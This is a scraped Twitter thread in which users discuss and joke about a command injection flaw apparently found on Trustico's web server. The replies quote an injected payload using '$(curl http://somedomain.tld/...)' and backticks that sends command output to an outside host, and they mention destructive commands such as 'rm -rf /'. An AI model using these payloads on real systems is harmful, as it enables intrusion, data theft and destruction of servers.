Translation: Trustico has a super trivial code injection vuln on their server...https://twitter.com/svblxyz/status/969220402768736258 …
You can add location information to your Tweets, such as your city or precise location, from the web and via third-party applications. You always have the option to delete your Tweet location history. Learn more
Explanation for not-so-good Linux people?
This website is executing commands you type into it. You can type rm -rf / and it would do it. `id` pastes the user the command runs at, into the command. It tells me, that this website is running as root. The whole server is completly under my control.
Dumb question but how are you able to see that command being executed on their server?
he's accessing his own server via curl and sees it in the log
Gotcha. And there’s no input sanitization whatsoever?
How would using $(curl http://somedomain.tld/id) execute the id binary, surely this would just execute curl?
Look up the word „backticks“, that these weird characters around the id command. The shell will execute the command and fill the result in. Really handy feature!
At this point, you may as well just format / and get it over with
Let's hope it was just a "shutdown -h now"
Working as intended
Am I the only one who sees the irony in the fact that the padlock in Trustico's logo is unlocked?
I recall hearing that the US military defines "trusted" as "someone who can break your security policy", so I'd say it checks out.
The aristocrats!
The beauty of “rm -fr /“ is that they may never know who did it!! 
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.